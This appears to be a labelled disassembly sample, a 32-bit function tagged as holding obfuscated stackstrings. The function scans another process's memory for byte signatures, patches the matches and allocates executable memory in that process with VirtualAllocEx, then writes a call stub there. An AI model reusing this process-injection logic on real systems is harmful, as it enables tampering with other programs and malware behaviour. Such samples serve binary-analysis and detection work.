Function at 0x48bcb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x5e0e38
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x65f810]
xor eax, esp
mov dword [esp + 0x74], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x65f810]
xor eax, esp
push eax
lea eax, [esp + 0x8c]
mov dword fs:[0], eax
push 0x66dbe8
mov dword [esp + 0x34], 0x66dbe8
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov ebx, dword [esp + 0x9c]
push ebx
mov dword [esp + 0x98], 0
call fcn.004c2580
mov esi, eax
add esp, 4
test esi, esi
je 0x48c019
push str.41__4883EC__FF05________488B35________4C8B
push ebx
call fcn.004c2900
push str.E8________488B__488B__E8________488B__84C074
push ebx
mov ebp, eax
mov dword [esp + 0x34], edx
call fcn.004c2900
mov edi, eax
push str.4883EC__48833D________004C8B__________74
push ebx
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edx
call fcn.004c2900
mov ecx, ebp
add esp, 0x18
or ecx, dword [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
je 0x48c04d
mov ecx, edi
or ecx, dword [esp + 0x1c]
je 0x48c04d
or eax, edx
je 0x48c04d
mov eax, dword [esp + 0x24]
push 7
lea edx, [esp + 0x40]
push edx
add ebp, 0xc
adc eax, 0
push eax
mov bl, 0x90
push ebp
push esi
mov byte [esp + 0x50], 0x48
mov byte [esp + 0x51], 0x33
mov byte [esp + 0x52], 0xf6
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], bl
call fcn.004c2550
add esp, 0x14
test eax, eax
je 0x48c012
mov ecx, dword [esp + 0x2c]
push 1
lea eax, [esp + 0x1b]
push eax
mov eax, dword [esp + 0x30]
add eax, 6
adc ecx, 0
push ecx
push eax
push esi
mov byte [esp + 0x2b], 0x25
call fcn.004c2550
add esp, 0x14
test eax, eax
je 0x48c012
push 0x20
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
cdq
mov dword [esp + 0x20], eax
or eax, edx
mov dword [esp + 0x24], edx
je 0x48c012
mov al, 0x75
mov dl, 0x74
mov byte [esp + 0x51], al
mov byte [esp + 0x52], al
mov byte [esp + 0x4a], dl
mov cl, 0x81
mov byte [esp + 0x5b], dl
mov al, 0xc3
mov byte [esp + 0x6e], al
mov byte [esp + 0x76], al
mov eax, dword [esp + 0x1c]
push 4
mov byte [esp + 0x50], cl
mov byte [esp + 0x58], cl
mov edx, edi
add edx, 0xc
lea ecx, [esp + 0x2c]
push ecx
adc eax, 0
push eax
push edx
push esi
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], bl
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x48
mov byte [esp + 0x5c], 0x85
mov byte [esp + 0x5d], 0xc9
mov byte [esp + 0x5f], 0x11
mov byte [esp + 0x61], 0x39
mov byte [esp + 0x62], 0x69
mov byte [esp + 0x63], 0x73
mov byte [esp + 0x64], 0x64
mov byte [esp + 0x67], 9
mov byte [esp + 0x69], 0x79
mov byte [esp + 0x6a], 4
mov byte [esp + 0x6b], 0x6f
mov byte [esp + 0x6c], 0x77
mov byte [esp + 0x6d], 0x61
mov byte [esp + 0x6e], 0x6e
mov byte [esp + 0x70], 0x12
mov byte [esp + 0x71], 0x48
mov byte [esp + 0x72], 0xb8
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], bl
mov byte [esp + 0x75], bl
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], bl
mov byte [esp + 0x7a], bl
mov byte [esp + 0x7b], 0xff
mov byte [esp + 0x7c], 0xd0
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], bl
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], bl
mov byte [esp + 0x81], bl
mov byte [esp + 0x83], bl
mov byte [esp + 0x84], bl
mov byte [esp + 0x85], bl
mov byte [esp + 0x86], bl
mov byte [esp + 0x87], bl
mov byte [esp + 0x88], 0xb0
mov byte [esp + 0x89], 1
mov dword [esp + 0x3c], 0
call fcn.004c24e0
mov eax, dword [esp + 0x30]
push 3
mov ebp, edi
add ebp, 8
lea ecx, [esp + 0x5c]
push ecx
adc eax, 0
push eax
push ebp
push esi
mov dword [esp + 0x60], eax
call fcn.004c24e0
mov ebx, dword [esp + 0x44]
add edi, 0x10
push 5
lea edx, [esp + 0x95]
push edx
adc ebx, 0
push ebx
push edi
push esi
call fcn.004c24e0
push 5
lea eax, [esp + 0xaf]
push eax
push ebx
push edi
push esi
call fcn.004c24e0
mov eax, dword [esp + 0x78]
mov ebx, dword [esp + 0x74]
mov edi, dword [esp + 0x70]
add esp, 0x50
cdq
add eax, dword [esp + 0x18]
push 0x33
adc edx, dword [esp + 0x20]
lea ecx, [esp + 0x48]
push ecx
add eax, 0x10
push ebx
adc edx, 0
push edi
push esi
mov dword [esp + 0x73], eax
mov dword [esp + 0x77], edx
call fcn.004c2550
add esp, 0x14
test eax, eax
je 0x48c012
mov eax, dword [esp + 0x38]
push 0xd
lea edx, [esp + 0x7c]
push edx
push eax
push ebp
push esi
mov byte [esp + 0x8c], 0x48
mov byte [esp + 0x8d], 0xb9
mov byte [esp + 0x96], 0x48
mov byte [esp + 0x97], 0xff
mov byte [esp + 0x98], 0xd1
mov dword [esp + 0x8e], edi
mov dword [esp + 0x92], ebx
call fcn.004c2550
add esp, 0x14
test eax, eax
jne 0x48c04d
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x66dbe8
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
xor eax, eax
mov ecx, dword [esp + 0x8c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.005792fc
add esp, 0x84
ret 4
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x66dbe8
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, 1
jmp 0x48c026